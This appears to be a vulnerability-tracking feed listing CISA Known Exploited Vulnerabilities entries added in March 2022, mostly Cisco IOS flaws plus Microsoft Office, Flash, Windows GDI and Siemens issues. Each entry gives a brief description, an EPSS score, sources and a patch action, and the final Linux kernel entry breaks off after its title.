Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Cisco IOS and IOS XE Software SNMP Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2017-6743
Cisco IOS and IOS XE Software SNMP Remote Code Execution Vulnerability (Mar 3, 2022).
The Simple Network Management Protocol (SNMP) subsystem of Cisco IOS and IOS XE contains a vulnerability that could allow an authenticated, remote attacker to remotely execute code.
EPSS 10.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-6743&date=2026-10-25).
Sources:
CISA KEV entry CVE-2017-6743: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-6743&date=2026-10-25
CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Cisco IOS and IOS XE Software SNMP Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2017-6740
Cisco IOS and IOS XE Software SNMP Remote Code Execution Vulnerability (Mar 3, 2022).
The Simple Network Management Protocol (SNMP) subsystem of Cisco IOS and IOS XE contains a vulnerability that could allow an authenticated, remote attacker to remotely execute code on an affected system or cause an affected system to reload.
EPSS 11.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-6740&date=2026-10-25).
Sources:
CISA KEV entry CVE-2017-6740: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-6740&date=2026-10-25
CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Cisco IOS and IOS XE Software SNMP Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2017-6739
Cisco IOS and IOS XE Software SNMP Remote Code Execution Vulnerability (Mar 3, 2022).
The Simple Network Management Protocol (SNMP) subsystem of Cisco IOS and IOS XE contains a vulnerability that could allow an authenticated, remote attacker to remotely execute code on an affected system or cause an affected system to reload.
EPSS 10.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-6739&date=2026-10-25).
Sources:
CISA KEV entry CVE-2017-6739: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-6739&date=2026-10-25
CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Cisco IOS and IOS XE Software SNMP Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2017-6738
Cisco IOS and IOS XE Software SNMP Remote Code Execution Vulnerability (Mar 3, 2022).
The Simple Network Management Protocol (SNMP) subsystem of Cisco IOS and IOS XE contains a vulnerability that could allow an authenticated, remote attacker to remotely execute code.
EPSS 10.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-6738&date=2026-10-25).
Sources:
CISA KEV entry CVE-2017-6738: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-6738&date=2026-10-25
CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Cisco IOS and IOS XE Software SNMP Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2017-6737
Cisco IOS and IOS XE Software SNMP Remote Code Execution Vulnerability (Mar 3, 2022).
The Simple Network Management Protocol (SNMP) subsystem of Cisco IOS and IOS XE contains a vulnerability that could allow an authenticated, remote attacker to remotely execute code.
EPSS 45.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-6737&date=2026-10-25).
Sources:
CISA KEV entry CVE-2017-6737: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-6737&date=2026-10-25
CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Cisco IOS and IOS XE Software SNMP Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2017-6736
Cisco IOS and IOS XE Software SNMP Remote Code Execution Vulnerability (Mar 3, 2022).
The Simple Network Management Protocol (SNMP) subsystem of Cisco IOS and IOS XE contains a vulnerability that could allow an authenticated, remote attacker to remotely execute code.
EPSS 70.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-6736&date=2026-10-25).
Sources:
CISA KEV entry CVE-2017-6736: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-6736&date=2026-10-25
CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Cisco IOS Software and Cisco IOS XE Software Denial-of-Service Vulnerability
https://kevwire.com/record/CVE-2017-6663
Cisco IOS Software and Cisco IOS XE Software Denial-of-Service Vulnerability (Mar 3, 2022).
A vulnerability in the Autonomic Networking feature of Cisco IOS Software and Cisco IOS XE Software could allow an unauthenticated, adjacent attacker to cause autonomic nodes of an affected system to reload, resulting in denial-of-service (DoS).
EPSS 2.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-6663&date=2026-10-25).
Sources:
CISA KEV entry CVE-2017-6663: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-6663&date=2026-10-25
CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Cisco IOS Software and Cisco IOS XE Software UDP Packet Processing Denial-of-Service Vulnerability
https://kevwire.com/record/CVE-2017-6627
Cisco IOS Software and Cisco IOS XE Software UDP Packet Processing Denial-of-Service Vulnerability (Mar 3, 2022).
A vulnerability in the UDP processing code of Cisco IOS and IOS XE could allow an unauthenticated, remote attacker to cause the input queue of an affected system to hold UDP packets, causing an interface queue wedge and denial of service.
EPSS 6.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-6627&date=2026-10-25).
Sources:
CISA KEV entry CVE-2017-6627: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-6627&date=2026-10-25
CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Cisco IOS XE Software Ethernet Virtual Private Network Border Gateway Protocol Denial-of-Service Vulnerability
https://kevwire.com/record/CVE-2017-12319
Cisco IOS XE Software Ethernet Virtual Private Network Border Gateway Protocol Denial-of-Service Vulnerability (Mar 3, 2022).
A vulnerability in the Border Gateway Protocol (BGP) over an Ethernet Virtual Private Network (EVPN) for Cisco IOS XE Software could allow an unauthenticated, remote attacker to cause the device to reload, resulting in a denial of service (DoS) condition, or potentially corrupt the BGP routing table, which could result in network instability.
EPSS 5.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-12319&date=2026-10-25).
Sources:
CISA KEV entry CVE-2017-12319: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-12319&date=2026-10-25
CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Cisco IOS and IOS XE Software DHCP Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2017-12240
Cisco IOS and IOS XE Software DHCP Remote Code Execution Vulnerability (Mar 3, 2022).
The Dynamic Host Configuration Protocol (DHCP) relay subsystem of Cisco IOS and Cisco IOS XE Software contains a vulnerability that could allow an unauthenticated, remote attacker to execute arbitrary code and gain full control of an affected system.
EPSS 13.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-12240&date=2026-10-25).
Sources:
CISA KEV entry CVE-2017-12240: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-12240&date=2026-10-25
CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Cisco Catalyst 6800 Series Switches VPLS Denial-of-Service Vulnerability
https://kevwire.com/record/CVE-2017-12238
Cisco Catalyst 6800 Series Switches VPLS Denial-of-Service Vulnerability (Mar 3, 2022).
A vulnerability in the Virtual Private LAN Service (VPLS) code of Cisco IOS for Cisco Catalyst 6800 Series Switches could allow an unauthenticated, adjacent attacker to cause a denial of service.
EPSS 2.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-12238&date=2026-10-25).
Sources:
CISA KEV entry CVE-2017-12238: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-12238&date=2026-10-25
CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Cisco IOS and IOS XE Software Internet Key Exchange Denial-of-Service Vulnerability
https://kevwire.com/record/CVE-2017-12237
Cisco IOS and IOS XE Software Internet Key Exchange Denial-of-Service Vulnerability (Mar 3, 2022).
A vulnerability in the Internet Key Exchange Version 2 (IKEv2) module of Cisco IOS and Cisco IOS XE could allow an unauthenticated, remote attacker to cause high CPU utilization, traceback messages, or a reload of an affected device that leads to a denial of service.
EPSS 7.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-12237&date=2026-10-25).
Sources:
CISA KEV entry CVE-2017-12237: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-12237&date=2026-10-25
CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Cisco IOS Software for Cisco Industrial Ethernet Switches PROFINET Denial-of-Service Vulnerability
https://kevwire.com/record/CVE-2017-12235
Cisco IOS Software for Cisco Industrial Ethernet Switches PROFINET Denial-of-Service Vulnerability (Mar 3, 2022).
A vulnerability in the implementation of the PROFINET Discovery and Configuration Protocol (PN-DCP) for Cisco IOS could allow an unauthenticated, remote attacker to cause an affected device to reload, resulting in a denial of service.
EPSS 7.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-12235&date=2026-10-25).
Sources:
CISA KEV entry CVE-2017-12235: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-12235&date=2026-10-25
CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Cisco IOS Software Common Industrial Protocol Request Denial-of-Service Vulnerability
https://kevwire.com/record/CVE-2017-12234
Cisco IOS Software Common Industrial Protocol Request Denial-of-Service Vulnerability (Mar 3, 2022).
There is a vulnerability in the implementation of the Common Industrial Protocol (CIP) feature in Cisco IOS could allow an unauthenticated, remote attacker to cause an affected device to reload, resulting in a denial of service.
EPSS 7.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-12234&date=2026-10-25).
Sources:
CISA KEV entry CVE-2017-12234: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-12234&date=2026-10-25
CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Cisco IOS Software Common Industrial Protocol Request Denial-of-Service Vulnerability
https://kevwire.com/record/CVE-2017-12233
Cisco IOS Software Common Industrial Protocol Request Denial-of-Service Vulnerability (Mar 3, 2022).
There is a vulnerability in the implementation of the Common Industrial Protocol (CIP) feature in Cisco IOS could allow an unauthenticated, remote attacker to cause an affected device to reload, resulting in a denial of service.
EPSS 7.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-12233&date=2026-10-25).
Sources:
CISA KEV entry CVE-2017-12233: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-12233&date=2026-10-25
CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Cisco IOS Software for Cisco Integrated Services Routers Denial-of-Service Vulnerability
https://kevwire.com/record/CVE-2017-12232
Cisco IOS Software for Cisco Integrated Services Routers Denial-of-Service Vulnerability (Mar 3, 2022).
A vulnerability in the implementation of a protocol in Cisco Integrated Services Routers Generation 2 (ISR G2) Routers running Cisco IOS could allow an unauthenticated, adjacent attacker to cause an affected device to reload, resulting in a denial of service.
EPSS 2.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-12232&date=2026-10-25).
Sources:
CISA KEV entry CVE-2017-12232: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-12232&date=2026-10-25
CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Cisco IOS Software Network Address Translation Denial-of-Service Vulnerability
https://kevwire.com/record/CVE-2017-12231
Cisco IOS Software Network Address Translation Denial-of-Service Vulnerability (Mar 3, 2022).
A vulnerability in the implementation of Network Address Translation (NAT) functionality in Cisco IOS could allow an unauthenticated, remote attacker to cause a denial of service.
EPSS 7.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-12231&date=2026-10-25).
Sources:
CISA KEV entry CVE-2017-12231: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-12231&date=2026-10-25
CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Office Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2017-11826
Microsoft Office Remote Code Execution Vulnerability (Mar 3, 2022).
A remote code execution vulnerability exists in Microsoft Office software when the software fails to properly handle objects in memory. An attacker who successfully exploited the vulnerability could run arbitrary code in the context of the current user.
EPSS 81.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-11826&date=2026-10-25).
Sources:
CISA KEV entry CVE-2017-11826: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-11826&date=2026-10-25
CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Adobe Flash Player Type Confusion Vulnerability
https://kevwire.com/record/CVE-2017-11292
Adobe Flash Player Type Confusion Vulnerability (Mar 3, 2022).
Adobe Flash Player contains a type confusion vulnerability which can allow for remote code execution.
EPSS 11.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-11292&date=2026-10-25).
Sources:
CISA KEV entry CVE-2017-11292: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-11292&date=2026-10-25
CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: The impacted product is end-of-life and should be disconnected if still in use.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Office Use-After-Free Vulnerability
https://kevwire.com/record/CVE-2017-0261
Microsoft Office Use-After-Free Vulnerability (Mar 3, 2022).
Microsoft Office contains a use-after-free vulnerability which can allow for remote code execution.
EPSS 78.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-0261&date=2026-10-25).
Sources:
CISA KEV entry CVE-2017-0261: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-0261&date=2026-10-25
CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Graphics Device Interface (GDI) Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2017-0001
Microsoft Graphics Device Interface (GDI) Privilege Escalation Vulnerability (Mar 3, 2022).
The Graphics Device Interface (GDI) in Microsoft Windows Vista SP2; Windows Server 2008 SP2 and R2 SP1; Windows 7 SP1; Windows 8.1; Windows Server 2012 Gold and R2; Windows RT 8.1; and Windows 10 Gold, 1511, and 1607 allows local users to gain privileges
EPSS 3.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-0001&date=2026-10-25).
Sources:
CISA KEV entry CVE-2017-0001: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-0001&date=2026-10-25
CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Siemens SIMATIC CP 1543-1 Improper Privilege Management Vulnerability
https://kevwire.com/record/CVE-2016-8562
Siemens SIMATIC CP 1543-1 Improper Privilege Management Vulnerability (Mar 3, 2022).
An improper privilege management vulnerability exists within the Siemens SIMATIC Communication Processor (CP) that allows a privileged attacker to remotely cause a denial of service.
EPSS 3.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-8562&date=2026-10-25).
Sources:
CISA KEV entry CVE-2016-8562: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-8562&date=2026-10-25
CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Adobe Flash Player Use-After-Free Vulnerability
https://kevwire.com/record/CVE-2016-7855
Adobe Flash Player Use-After-Free Vulnerability (Mar 3, 2022).
Use-after-free vulnerability in Adobe Flash Player Windows and OS and Linux allows remote attackers to execute arbitrary code.
EPSS 25.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-7855&date=2026-10-25).
Sources:
CISA KEV entry CVE-2016-7855: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-7855&date=2026-10-25
CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: The impacted product is end-of-life and should be disconnected if still in use.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Office Security Feature Bypass Vulnerability
https://kevwire.com/record/CVE-2016-7262
Microsoft Office Security Feature Bypass Vulnerability (Mar 3, 2022).
A security feature bypass vulnerability exists when Microsoft Office improperly handles input. An attacker who successfully exploited the vulnerability could execute arbitrary commands.
EPSS 57.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-7262&date=2026-10-25).
Sources:
CISA KEV entry CVE-2016-7262: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-7262&date=2026-10-25
CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Office Memory Corruption Vulnerability
https://kevwire.com/record/CVE-2016-7193
Microsoft Office Memory Corruption Vulnerability (Mar 3, 2022).
Microsoft Office contains a memory corruption vulnerability which can allow for remote code execution.
EPSS 57.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-7193&date=2026-10-25).
Sources:
CISA KEV entry CVE-2016-7193: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-7193&date=2026-10-25
CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Linux Kernel Race Condition Vulnerability
https://kevwire.com/record/CVE-2016-5195
Linux Kernel Race Condition Vulnerability (Mar 3, 2022).
